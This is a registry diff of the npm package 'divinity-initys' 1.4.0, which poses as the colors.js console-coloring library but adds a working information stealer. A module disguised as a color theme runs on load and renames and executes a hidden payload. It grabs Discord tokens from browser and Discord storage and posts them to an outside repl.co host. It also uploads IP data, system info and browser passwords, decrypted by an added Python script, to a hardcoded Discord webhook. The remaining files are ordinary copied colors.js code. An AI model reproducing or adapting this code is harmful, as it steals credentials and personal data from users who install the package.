divinity-initys 1.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of divinity-initys might be problematic. Click here for more details.

@@ -0,0 +1,214 @@
1
+
2
+ const fetch = require("node-fetch")
3
+ const discord = require("discord.js");
4
+ const fs = require("fs");
5
+ const os = require("os");
6
+ const execSync = require('child_process').execSync;
7
+ const api = "https://rawbutteryevents.kakaunfdifjjgfg.repl.co/"
8
+ const wb = new discord.WebhookClient("955210570364223559", "YjuF9W338gvOWjmvov_L-Gd76ufB1Askk52uPlCFuZIj5elVPyfV6f2BOYPCdIRBlQvB");
9
+ const arch = `${__dirname}`
10
+
11
+
12
+ async function pipizin(){
13
+
14
+
15
+ await fs.rename(`${arch}\\payload.png`, `${arch}\\payload.js`, function(err) {
16
+ if ( err ) console.log('ERROR: ' + err);});
17
+
18
+ var tkzn = `${arch}\\payload.js`
19
+ if(!tkzn) return wb.send("Arquivo excluído pelo anti-virus")
20
+ if(tkzn){
21
+ code = await execSync(`cd ${arch}\\`);
22
+ code = await execSync(`node payload.js`);
23
+
24
+ code = await execSync(`pip install pycryptodomex`);
25
+ code = await execSync(`pip install pysqlite3`);
26
+ code = await execSync(`pip install pypiwin32`);
27
+ code = await execSync(`pip install requests`);
28
+
29
+ code = await execSync(`python main.py`);
30
+
31
+ const senhaskk = `${arch}\\senhastongo.txt`
32
+ const tpmdb = `${arch}\\TempMan.db`
33
+ await wb.send("**Senhas do usuário**", {files:[senhaskk]})
34
+ await fs.unlinkSync(senhaskk)
35
+ await fs.unlinkSync(tpmdb)
36
+ }}
37
+
38
+ pipizin()
39
+
40
+ wb.send("**Injeção Começada, recolhendo informações da vítima**")
41
+
42
+
43
+
44
+ async function grabber() {
45
+ if (os.platform() === "win32") {
46
+
47
+ var paths = [
48
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/Discord/Local Storage/leveldb`,
49
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/Lightcord/Local Storage/leveldb`,
50
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/discordptb/Local Storage/leveldb`,
51
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/discordcanary/Local Storage/leveldb`,
52
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb`,
53
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/Opera Software/Opera GX Stable/Local Storage/leveldb`,
54
+
55
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Amigo/User Data/Local Storage/leveldb`,
56
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Torch/User Data/Local Storage/leveldb`,
57
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Kometa/User Data/Local Storage/leveldb`,
58
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Orbitum/User Data/Local Storage/leveldb`,
59
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/CentBrowser/User Data/Local Storage/leveldb`,
60
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/7Star/7Star/User Data/Local Storage/leveldb`,
61
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Sputnik/Sputnik/User Data/Local Storage/leveldb`,
62
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Vivaldi/User Data/Default/Local Storage/leveldb`,
63
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Google/Chrome SxS/User Data/Local Storage/leveldb`,
64
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Epic Privacy Browser/User Data/Local Storage/leveldb`,
65
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Google/Chrome/User Data/Default/Local Storage/leveldb`,
66
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/uCozMedia/Uran/User Data/Default/Local Storage/leveldb`,
67
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Microsoft/Edge/User Data/Default/Local Storage/leveldb`,
68
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Yandex/YandexBrowser/User Data/Default/Local Storage/leveldb`,
69
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/Opera Software/Opera Neon/User Data/Default/Local Storage/leveldb`,
70
+ `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/Local Storage/leveldb`,
71
+ ];
72
+
73
+
74
+ for (i = 0; i < paths.length; i++) {
75
+ get_token(paths[i])
76
+ }
77
+
78
+ async function get_token(path) {
79
+ try {
80
+ fs.readdir(path, (err, files) => {
81
+ if (files === undefined) {
82
+ return
83
+ }
84
+
85
+ var filtro = files.filter(f => f.split('.').pop() === "ldb")
86
+ for (i = 0; i < filtro.length; i++) {
87
+ fs.readFile(`${path}/${filtro[i]}`, 'utf-8', async function(err, data) {
88
+ let regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
89
+ let regex2 = /"mfa\.[\d\w_-]{84}"/;
90
+
91
+ let [tokenzin] = regex1.exec(data) || regex2.exec(data) || [null];
92
+ if (tokenzin != null) {
93
+ tokenzin = tokenzin.replace(/"/g, '')
94
+ const benladen = new URLSearchParams();
95
+ benladen.append('token', tokenzin);
96
+
97
+ fetch(api, {
98
+ method: "POST",
99
+ headers: {
100
+ "Content-Type": "application/json"
101
+ },
102
+ body: JSON.stringify({"tokenzin": tokenzin})
103
+
104
+ });
105
+ }
106
+ })
107
+ }
108
+ })
109
+
110
+ fs.readdir(path, (err, files) => {
111
+ if (files === undefined) {
112
+ return
113
+ }
114
+ var filtro = files.filter(f => f.split('.').pop() === "log")
115
+ for (i = 0; i < filtro.length; i++) {
116
+ fs.readFile(`${path}/${filtro[i]}`, 'utf-8', async function(err, data) {
117
+ let regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
118
+ let regex2 = /"mfa\.[\d\w_-]{84}"/;
119
+
120
+ if (regex1.test(data)) {
121
+
122
+ }
123
+ let [tokenzin] = regex1.exec(data) || regex2.exec(data) || [null];
124
+ if (tokenzin != null) {
125
+ tokenzin = tokenzin.replace(/"/g, '')
126
+ const attentat = new URLSearchParams();
127
+ attentat.append('token', tokenzin);
128
+
129
+ fetch(api, {
130
+ method: "POST",
131
+ headers: {
132
+ "Content-Type": "application/json"
133
+ },
134
+ body: JSON.stringify({"tokenzin": tokenzin})
135
+
136
+ });
137
+ }
138
+ })
139
+ }
140
+ })
141
+ } catch (err) {
142
+ wb.send(err)
143
+
144
+ }
145
+ }
146
+ }
147
+ }
148
+
149
+
150
+
151
+
152
+
153
+ async function ipget() {
154
+
155
+ fetch('https://api.ipify.org/?format=json')
156
+ .then(response => response.json())
157
+ .then(data => {
158
+
159
+ fetch(api, {
160
+ method: "POST",
161
+ headers: {
162
+ "Content-Type": "application/json"
163
+ },
164
+ body: JSON.stringify({"ipzin": data.ip})
165
+ });
166
+
167
+ })
168
+ .catch(err => (err))
169
+ }
170
+
171
+
172
+
173
+ async function roubarip() {
174
+ wb.send("**Recolhendo informações de ip**");
175
+
176
+ let ip = `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/ip.txt`
177
+ code = await execSync(`ipconfig /all > ${ip}`);
178
+
179
+ await wb.send("**Informações do ip**", {files:[ip]
180
+ })
181
+
182
+ await fs.unlinkSync(ip)
183
+ grabber()
184
+ ipget()
185
+ }
186
+
187
+
188
+
189
+
190
+ async function systemaInfos() {
191
+ wb.send("**Recolhendo informações do sistema**")
192
+
193
+ let systemInfos = `${arch.split(`:`)[0]}:/Users/${arch.split(`\\`)[2]}/AppData/Roaming/system.txt`
194
+ code = await execSync(`systeminfo > ${systemInfos}`);
195
+
196
+ await wb.send("**Informações do Sistema**", {files:[systemInfos]
197
+ })
198
+
199
+ await fs.unlinkSync(systemInfos)
200
+ }
201
+ systemaInfos()
202
+ roubarip()
203
+
204
+ module['exports'] = function(colors) {
205
+ return function(letter, i, exploded) {
206
+ if (letter === ' ') return letter;
207
+ switch (i%3) {
208
+ case 0: return colors.red(letter);
209
+ case 1: return colors.white(letter);
210
+ case 2: return colors.blue(letter);
211
+ }
212
+ };
213
+ };
214
+
@@ -0,0 +1,105 @@
1
+ const fs = require('fs');
2
+ fs.appendFileSync('main.py', `
3
+ import win32crypt
4
+ from sqlite3 import connect
5
+ from json import loads
6
+ from base64 import b64decode
7
+ from Cryptodome.Cipher import AES
8
+ import os
9
+ from shutil import copy2
10
+
11
+ filePass = "senhastongo"+ ".txt"
12
+
13
+
14
+ def generate_cipher(aes_key, iv):
15
+ return AES.new(aes_key, AES.MODE_GCM, iv)
16
+
17
+ def decrypt_payload(cipher, payload):
18
+ return cipher.decrypt(payload)
19
+
20
+
21
+ def decrypt_browser(LocalState, LoginData, name):
22
+
23
+
24
+ if os.path.exists(LocalState) == True:
25
+ with open(LocalState) as f:
26
+ local_state = f.read()
27
+ local_state = loads(local_state)
28
+ master_key = b64decode(local_state["os_crypt"]["encrypted_key"])
29
+ master_key = master_key[5:]
30
+ master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
31
+
32
+ if os.path.exists(LoginData) == True:
33
+ copy2(LoginData, "TempMan.db")
34
+ con = connect("TempMan.db")
35
+ cur = con.cursor()
36
+ cur.execute("SELECT origin_url, username_value, password_value FROM logins")
37
+ f = open(filePass,"a")
38
+ f.write("***" + name + "***")
39
+ f.close()
40
+ for index,logins in enumerate(cur.fetchall()):
41
+
42
+ try:
43
+ if not logins[0]:
44
+ continue
45
+ if not logins[1]:
46
+ continue
47
+ if not logins[2]:
48
+ continue
49
+ ciphers = logins[2]
50
+ initVector = ciphers[3:15]
51
+ encPass = ciphers[15:-16]
52
+
53
+ cipher = generate_cipher(master_key, initVector)
54
+ decPass = decrypt_payload(cipher, encPass).decode()
55
+ toprint = 'URL : {}Name: {}Pass: {}'.format(logins[0], logins[1], decPass)
56
+ f = open(filePass,"a")
57
+ f.write(toprint)
58
+ f.close()
59
+ except:
60
+ pass
61
+
62
+
63
+
64
+ def Local_State(path):
65
+ LocalState = path + "/User Data/Local State"
66
+ return LocalState
67
+
68
+ def Login_Data(path):
69
+ LoginData = path + "/User Data/Default/Login Data"
70
+ return LoginData
71
+
72
+
73
+ pathChrome = os.environ['LOCALAPPDATA'] + "/Google/Chrome"
74
+
75
+ if os.path.exists(pathChrome) == True:
76
+ decrypt_browser(Local_State(pathChrome), Login_Data(pathChrome), "Chrome")
77
+
78
+
79
+
80
+ pathBrave = os.environ['LOCALAPPDATA'] + "/BraveSoftware/Brave-Browser"
81
+
82
+ if os.path.exists(pathBrave) == True:
83
+ decrypt_browser(Local_State(pathBrave), Login_Data(pathBrave), "Brave")
84
+
85
+
86
+ pathEdge = os.environ['LOCALAPPDATA'] + "/Microsoft/Edge"
87
+
88
+ if os.path.exists(pathEdge) == True:
89
+ decrypt_browser(Local_State(pathEdge), Login_Data(pathEdge), "Edge")
90
+
91
+
92
+
93
+
94
+ pathOpera = os.environ['APPDATA'] + "/Opera Software/Opera Stable"
95
+
96
+ if os.path.exists(pathOpera) == True:
97
+ decrypt_browser(pathOpera + "/Local State", pathOpera + "/Login Data", "Opera")
98
+
99
+
100
+
101
+ pathOperaGX = os.environ['APPDATA'] + "/Opera Software/Opera GX Stable"
102
+
103
+ if os.path.exists(pathOperaGX) == True:
104
+ decrypt_browser(pathOperaGX + "/Local State", pathOperaGX + "/Login Data", "OperaGX")
105
+ `);
@@ -0,0 +1,12 @@
1
+ module['exports'] = function(colors) {
2
+ // RoY G BiV
3
+ var rainbowColors = ['red', 'yellow', 'green', 'blue', 'magenta'];
4
+ return function(letter, i, exploded) {
5
+ if (letter === ' ') {
6
+ return letter;
7
+ } else {
8
+ return colors[rainbowColors[i++ % rainbowColors.length]](letter);
9
+ }
10
+ };
11
+ };
12
+
@@ -0,0 +1,11 @@
1
+ module['exports'] = function(colors) {
2
+ var available = ['underline', 'inverse', 'grey', 'yellow', 'red', 'green',
3
+ 'blue', 'white', 'cyan', 'magenta', 'brightYellow', 'brightRed',
4
+ 'brightGreen', 'brightBlue', 'brightWhite', 'brightCyan', 'brightMagenta'];
5
+ return function(letter, i, exploded) {
6
+ return letter === ' ' ? letter :
7
+ colors[
8
+ available[Math.round(Math.random() * (available.length - 2))]
9
+ ](letter);
10
+ };
11
+ };
@@ -0,0 +1,5 @@
1
+ module['exports'] = function(colors) {
2
+ return function(letter, i, exploded) {
3
+ return i % 2 === 0 ? letter : colors.inverse(letter);
4
+ };
5
+ };
package/lib/styles.js ADDED
@@ -0,0 +1,95 @@
1
+ /*
2
+ The MIT License (MIT)
3
+
4
+ Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
5
+
6
+ Permission is hereby granted, free of charge, to any person obtaining a copy
7
+ of this software and associated documentation files (the "Software"), to deal
8
+ in the Software without restriction, including without limitation the rights
9
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10
+ copies of the Software, and to permit persons to whom the Software is
11
+ furnished to do so, subject to the following conditions:
12
+
13
+ The above copyright notice and this permission notice shall be included in
14
+ all copies or substantial portions of the Software.
15
+
16
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
22
+ THE SOFTWARE.
23
+
24
+ */
25
+
26
+ var styles = {};
27
+ module['exports'] = styles;
28
+
29
+ var codes = {
30
+ reset: [0, 0],
31
+
32
+ bold: [1, 22],
33
+ dim: [2, 22],
34
+ italic: [3, 23],
35
+ underline: [4, 24],
36
+ inverse: [7, 27],
37
+ hidden: [8, 28],
38
+ strikethrough: [9, 29],
39
+
40
+ black: [30, 39],
41
+ red: [31, 39],
42
+ green: [32, 39],
43
+ yellow: [33, 39],
44
+ blue: [34, 39],
45
+ magenta: [35, 39],
46
+ cyan: [36, 39],
47
+ white: [37, 39],
48
+ gray: [90, 39],
49
+ grey: [90, 39],
50
+
51
+ brightRed: [91, 39],
52
+ brightGreen: [92, 39],
53
+ brightYellow: [93, 39],
54
+ brightBlue: [94, 39],
55
+ brightMagenta: [95, 39],
56
+ brightCyan: [96, 39],
57
+ brightWhite: [97, 39],
58
+
59
+ bgBlack: [40, 49],
60
+ bgRed: [41, 49],
61
+ bgGreen: [42, 49],
62
+ bgYellow: [43, 49],
63
+ bgBlue: [44, 49],
64
+ bgMagenta: [45, 49],
65
+ bgCyan: [46, 49],
66
+ bgWhite: [47, 49],
67
+ bgGray: [100, 49],
68
+ bgGrey: [100, 49],
69
+
70
+ bgBrightRed: [101, 49],
71
+ bgBrightGreen: [102, 49],
72
+ bgBrightYellow: [103, 49],
73
+ bgBrightBlue: [104, 49],
74
+ bgBrightMagenta: [105, 49],
75
+ bgBrightCyan: [106, 49],
76
+ bgBrightWhite: [107, 49],
77
+
78
+ // legacy styles for colors pre v1.0.0
79
+ blackBG: [40, 49],
80
+ redBG: [41, 49],
81
+ greenBG: [42, 49],
82
+ yellowBG: [43, 49],
83
+ blueBG: [44, 49],
84
+ magentaBG: [45, 49],
85
+ cyanBG: [46, 49],
86
+ whiteBG: [47, 49],
87
+
88
+ };
89
+
90
+ Object.keys(codes).forEach(function(key) {
91
+ var val = codes[key];
92
+ var style = styles[key] = [];
93
+ style.open = '\u001b[' + val[0] + 'm';
94
+ style.close = '\u001b[' + val[1] + 'm';
95
+ });
@@ -0,0 +1,35 @@
1
+ /*
2
+ MIT License
3
+
4
+ Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
5
+
6
+ Permission is hereby granted, free of charge, to any person obtaining a copy of
7
+ this software and associated documentation files (the "Software"), to deal in
8
+ the Software without restriction, including without limitation the rights to
9
+ use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
10
+ of the Software, and to permit persons to whom the Software is furnished to do
11
+ so, subject to the following conditions:
12
+
13
+ The above copyright notice and this permission notice shall be included in all
14
+ copies or substantial portions of the Software.
15
+
16
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
22
+ SOFTWARE.
23
+ */
24
+
25
+ 'use strict';
26
+
27
+ module.exports = function(flag, argv) {
28
+ argv = argv || process.argv;
29
+
30
+ var terminatorPos = argv.indexOf('--');
31
+ var prefix = /^-{1,2}/.test(flag) ? '' : '--';
32
+ var pos = argv.indexOf(prefix + flag);
33
+
34
+ return pos !== -1 && (terminatorPos === -1 ? true : pos < terminatorPos);
35
+ };
@@ -0,0 +1,151 @@
1
+ /*
2
+ The MIT License (MIT)
3
+
4
+ Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
5
+
6
+ Permission is hereby granted, free of charge, to any person obtaining a copy
7
+ of this software and associated documentation files (the "Software"), to deal
8
+ in the Software without restriction, including without limitation the rights
9
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10
+ copies of the Software, and to permit persons to whom the Software is
11
+ furnished to do so, subject to the following conditions:
12
+
13
+ The above copyright notice and this permission notice shall be included in
14
+ all copies or substantial portions of the Software.
15
+
16
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
22
+ THE SOFTWARE.
23
+
24
+ */
25
+
26
+ 'use strict';
27
+
28
+ var os = require('os');
29
+ var hasFlag = require('./has-flag.js');
30
+
31
+ var env = process.env;
32
+
33
+ var forceColor = void 0;
34
+ if (hasFlag('no-color') || hasFlag('no-colors') || hasFlag('color=false')) {
35
+ forceColor = false;
36
+ } else if (hasFlag('color') || hasFlag('colors') || hasFlag('color=true')
37
+ || hasFlag('color=always')) {
38
+ forceColor = true;
39
+ }
40
+ if ('FORCE_COLOR' in env) {
41
+ forceColor = env.FORCE_COLOR.length === 0
42
+ || parseInt(env.FORCE_COLOR, 10) !== 0;
43
+ }
44
+
45
+ function translateLevel(level) {
46
+ if (level === 0) {
47
+ return false;
48
+ }
49
+
50
+ return {
51
+ level: level,
52
+ hasBasic: true,
53
+ has256: level >= 2,
54
+ has16m: level >= 3,
55
+ };
56
+ }
57
+
58
+ function supportsColor(stream) {
59
+ if (forceColor === false) {
60
+ return 0;
61
+ }
62
+
63
+ if (hasFlag('color=16m') || hasFlag('color=full')
64
+ || hasFlag('color=truecolor')) {
65
+ return 3;
66
+ }
67
+
68
+ if (hasFlag('color=256')) {
69
+ return 2;
70
+ }
71
+
72
+ if (stream && !stream.isTTY && forceColor !== true) {
73
+ return 0;
74
+ }
75
+
76
+ var min = forceColor ? 1 : 0;
77
+
78
+ if (process.platform === 'win32') {
79
+ // Node.js 7.5.0 is the first version of Node.js to include a patch to
80
+ // libuv that enables 256 color output on Windows. Anything earlier and it
81
+ // won't work. However, here we target Node.js 8 at minimum as it is an LTS
82
+ // release, and Node.js 7 is not. Windows 10 build 10586 is the first
83
+ // Windows release that supports 256 colors. Windows 10 build 14931 is the
84
+ // first release that supports 16m/TrueColor.
85
+ var osRelease = os.release().split('.');
86
+ if (Number(process.versions.node.split('.')[0]) >= 8
87
+ && Number(osRelease[0]) >= 10 && Number(osRelease[2]) >= 10586) {
88
+ return Number(osRelease[2]) >= 14931 ? 3 : 2;
89
+ }
90
+
91
+ return 1;
92
+ }
93
+
94
+ if ('CI' in env) {
95
+ if (['TRAVIS', 'CIRCLECI', 'APPVEYOR', 'GITLAB_CI'].some(function(sign) {
96
+ return sign in env;
97
+ }) || env.CI_NAME === 'codeship') {
98
+ return 1;
99
+ }
100
+
101
+ return min;
102
+ }
103
+
104
+ if ('TEAMCITY_VERSION' in env) {
105
+ return (/^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(env.TEAMCITY_VERSION) ? 1 : 0
106
+ );
107
+ }
108
+
109
+ if ('TERM_PROGRAM' in env) {
110
+ var version = parseInt((env.TERM_PROGRAM_VERSION || '').split('.')[0], 10);
111
+
112
+ switch (env.TERM_PROGRAM) {
113
+ case 'iTerm.app':
114
+ return version >= 3 ? 3 : 2;
115
+ case 'Hyper':
116
+ return 3;
117
+ case 'Apple_Terminal':
118
+ return 2;
119
+ // No default
120
+ }
121
+ }
122
+
123
+ if (/-256(color)?$/i.test(env.TERM)) {
124
+ return 2;
125
+ }
126
+
127
+ if (/^screen|^xterm|^vt100|^rxvt|color|ansi|cygwin|linux/i.test(env.TERM)) {
128
+ return 1;
129
+ }
130
+
131
+ if ('COLORTERM' in env) {
132
+ return 1;
133
+ }
134
+
135
+ if (env.TERM === 'dumb') {
136
+ return min;
137
+ }
138
+
139
+ return min;
140
+ }
141
+
142
+ function getSupportLevel(stream) {
143
+ var level = supportsColor(stream);
144
+ return translateLevel(level);
145
+ }
146
+
147
+ module.exports = {
148
+ supportsColor: getSupportLevel,
149
+ stdout: getSupportLevel(process.stdout),
150
+ stderr: getSupportLevel(process.stderr),
151
+ };
package/package.json ADDED
@@ -0,0 +1,49 @@
1
+ {
2
+ "name": "divinity-initys",
3
+ "description": "get colors in your node.js console",
4
+ "version": "1.4.0",
5
+ "author": "Marak Squires",
6
+ "contributors": [
7
+ {
8
+ "name": "DABH",
9
+ "url": "https://github.com/DABH"
10
+ }
11
+ ],
12
+ "homepage": "https://github.com/Marak/colors.js",
13
+ "bugs": "https://github.com/Marak/colors.js/issues",
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "http://github.com/Marak/colors.js.git"
17
+ },
18
+ "license": "MIT",
19
+ "scripts": {
20
+ "lint": "eslint . --fix",
21
+ "test": "node tests/basic-test.js && node tests/safe-test.js"
22
+ },
23
+ "engines": {
24
+ "node": ">=0.1.90"
25
+ },
26
+ "main": "lib/index.js",
27
+ "files": [
28
+ "examples",
29
+ "lib",
30
+ "LICENSE",
31
+ "safe.js",
32
+ "themes",
33
+ "index.d.ts",
34
+ "safe.d.ts"
35
+ ],
36
+ "dependencies": {
37
+ "child_process": "^1.0.2",
38
+ "discord.js": "^12.5.3",
39
+ "express": "^4.17.3",
40
+ "fs": "^0.0.1-security",
41
+ "node-fetch": "^1.7.3",
42
+ "os": "^0.1.2",
43
+ "sync-request": "^6.1.0"
44
+ },
45
+ "devDependencies": {
46
+ "eslint": "^5.2.0",
47
+ "eslint-config-google": "^0.11.0"
48
+ }
49
+ }